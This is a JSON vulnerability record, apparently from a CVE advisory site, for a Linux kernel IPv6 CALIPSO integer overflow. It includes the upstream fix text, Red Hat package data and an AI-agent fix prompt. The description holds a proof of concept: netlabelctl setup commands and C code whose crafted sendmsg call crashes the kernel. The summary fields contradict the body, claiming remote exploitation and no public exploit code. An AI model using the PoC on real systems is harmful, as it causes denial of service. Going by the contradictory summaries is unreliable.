{"answers":{"affected":"It affects 1 product.","exploited":"There is no known exploitation of CVE-2025-71085 in the wild and no public exploit code.","fix":"Apply the vendor's patch.","what":"CVE-2025-71085 is a high-severity vulnerability in Linux kernel, published on 13 Jan 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2025-71085 and fix it if it is affected.\n\nWhat it is: CVE-2025-71085 is a high-severity vulnerability in Linux kernel, published on 13 Jan 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2025-71085 in the wild and no public exploit code.\n\nAffected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2025-71085/ (Markdown: https://insights.sbomify.com/CVE-2025-71085/index.md)","id":"CVE-2025-71085","markdown":"https://insights.sbomify.com/CVE-2025-71085/index.md","name":"CVE-2025-71085","record":{"aliases":["BELL-CVE-2025-71085","DEBIAN-CVE-2025-71085","GHSA-hjpx-f2r6-rr4q","RHSA-2026:5689","ROOT-OS-DEBIAN-11-CVE-2025-71085","ROOT-OS-DEBIAN-12-CVE-2025-71085","ROOT-OS-DEBIAN-13-CVE-2025-71085","ROOT-OS-UBUNTU-2204-CVE-2025-71085","ROOT-OS-UBUNTU-2404-CVE-2025-71085","UBUNTU-CVE-2025-71085"],"analysis":{"component_type":"kernel","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":true,"product_category":"Linux kernel","requires_auth":"none","summary":"A local attacker can cause a kernel crash via integer overflow in IPv6 Calipso handling, requiring specific netlabel configuration.","user_interaction":"not_required","vuln_class":"integer_overflow"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"Linux","cpe":[{"product":"linux_kernel","vendor":"linux"}],"cvss":{"score":7.5,"severity":"high","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","version":"3.1"},"cwes":[{"id":"CWE-617","name":"Reachable Assertion"},{"id":"CWE-190","name":"Integer Overflow or Wraparound"}],"description":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);","ecosystems":["Red Hat:rhel_e4s:8.8::baseos","Red Hat:rhel_tus:8.8::baseos"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":true,"headline":"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()","id":"CVE-2025-71085","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":"linux:linux_kernel","products":["linux:linux_kernel"],"type":"integer_overflow","year":"2025"},"n_packages":49,"n_references":7,"next":{"headline":"net: rose: fix invalid array index in rose_kill_by_device()","id":"CVE-2025-71086"},"packages":[{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"bpftool","purl":"pkg:rpm/redhat/bpftool","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"bpftool-debuginfo","purl":"pkg:rpm/redhat/bpftool-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel","purl":"pkg:rpm/redhat/kernel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-abi-stablelists","purl":"pkg:rpm/redhat/kernel-abi-stablelists","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-core","purl":"pkg:rpm/redhat/kernel-core","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug","purl":"pkg:rpm/redhat/kernel-debug","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-core","purl":"pkg:rpm/redhat/kernel-debug-core","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-debuginfo","purl":"pkg:rpm/redhat/kernel-debug-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-devel","purl":"pkg:rpm/redhat/kernel-debug-devel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-modules","purl":"pkg:rpm/redhat/kernel-debug-modules","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-modules-extra","purl":"pkg:rpm/redhat/kernel-debug-modules-extra","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debuginfo","purl":"pkg:rpm/redhat/kernel-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debuginfo-common-ppc64le","purl":"pkg:rpm/redhat/kernel-debuginfo-common-ppc64le","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debuginfo-common-x86_64","purl":"pkg:rpm/redhat/kernel-debuginfo-common-x86_64","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-devel","purl":"pkg:rpm/redhat/kernel-devel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-doc","purl":"pkg:rpm/redhat/kernel-doc","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-modules","purl":"pkg:rpm/redhat/kernel-modules","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-modules-extra","purl":"pkg:rpm/redhat/kernel-modules-extra","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-tools","purl":"pkg:rpm/redhat/kernel-tools","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-tools-debuginfo","purl":"pkg:rpm/redhat/kernel-tools-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-tools-libs","purl":"pkg:rpm/redhat/kernel-tools-libs","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"perf","purl":"pkg:rpm/redhat/perf","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"perf-debuginfo","purl":"pkg:rpm/redhat/perf-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"python3-perf","purl":"pkg:rpm/redhat/python3-perf","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_e4s:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"python3-perf-debuginfo","purl":"pkg:rpm/redhat/python3-perf-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"bpftool","purl":"pkg:rpm/redhat/bpftool","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"bpftool-debuginfo","purl":"pkg:rpm/redhat/bpftool-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel","purl":"pkg:rpm/redhat/kernel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-abi-stablelists","purl":"pkg:rpm/redhat/kernel-abi-stablelists","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-core","purl":"pkg:rpm/redhat/kernel-core","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug","purl":"pkg:rpm/redhat/kernel-debug","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-core","purl":"pkg:rpm/redhat/kernel-debug-core","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-debuginfo","purl":"pkg:rpm/redhat/kernel-debug-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-devel","purl":"pkg:rpm/redhat/kernel-debug-devel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-modules","purl":"pkg:rpm/redhat/kernel-debug-modules","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debug-modules-extra","purl":"pkg:rpm/redhat/kernel-debug-modules-extra","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debuginfo","purl":"pkg:rpm/redhat/kernel-debuginfo","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-debuginfo-common-x86_64","purl":"pkg:rpm/redhat/kernel-debuginfo-common-x86_64","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-devel","purl":"pkg:rpm/redhat/kernel-devel","source":"RHSA-2026:5689"},{"ecosystem":"Red Hat:rhel_tus:8.8::baseos","fixed":["0:4.18.0-477.133.1.el8_8"],"introduced":["0"],"last_affected":[],"package":"kernel-doc","purl":"pkg:rpm/redhat/kernel-doc","source":"RHSA-2026:5689"}],"prev":{"headline":"RDMA/cm: Fix leaking the multicast GID table reference","id":"CVE-2025-71084"},"products":["Linux"],"published":"2026-01-13","related":[{"cvss_score":8.8,"headline":"Linux Kernel Out-of-Bounds Write","id":"CVE-2026-53266","kev_date_added":"2026-09-18","published":"2026-06-25"},{"cvss_score":8.8,"headline":"Linux Kernel Improper Input Validation","id":"CVE-2013-6282","kev_date_added":"2022-09-15","published":"2013-11-19"},{"cvss_score":8.4,"headline":"Linux Kernel Heap-Based Buffer Overflow","id":"CVE-2022-0185","kev_date_added":"2024-08-21","published":"2022-02-11"},{"cvss_score":8.4,"headline":"Linux Kernel Privilege Escalation","id":"CVE-2013-2094","kev_date_added":"2022-09-15","published":"2013-05-14"},{"cvss_score":7.8,"headline":"Linux Kernel Unspecified","id":"CVE-2026-53362","kev_date_added":"2026-08-27","published":"2026-07-04"},{"cvss_score":7.8,"headline":"Linux Kernel Missing Initialization of a Variable","id":"CVE-2026-46300","kev_date_added":"2026-10-28","published":"2026-05-23"},{"cvss_score":7.8,"headline":"Linux Kernel Race Condition","id":"CVE-2025-39964","kev_date_added":"2026-09-18","published":"2025-10-13"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"Red Hat","prefix":"RHSA"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"none","technical_impact":"partial"},"state":"PUBLISHED","updated":"2026-10-19","vendors":["Linux"]},"summary":"A local attacker can cause a kernel crash via integer overflow in IPv6 Calipso handling, requiring specific netlabel configuration.","url":"https://insights.sbomify.com/CVE-2025-71085/"}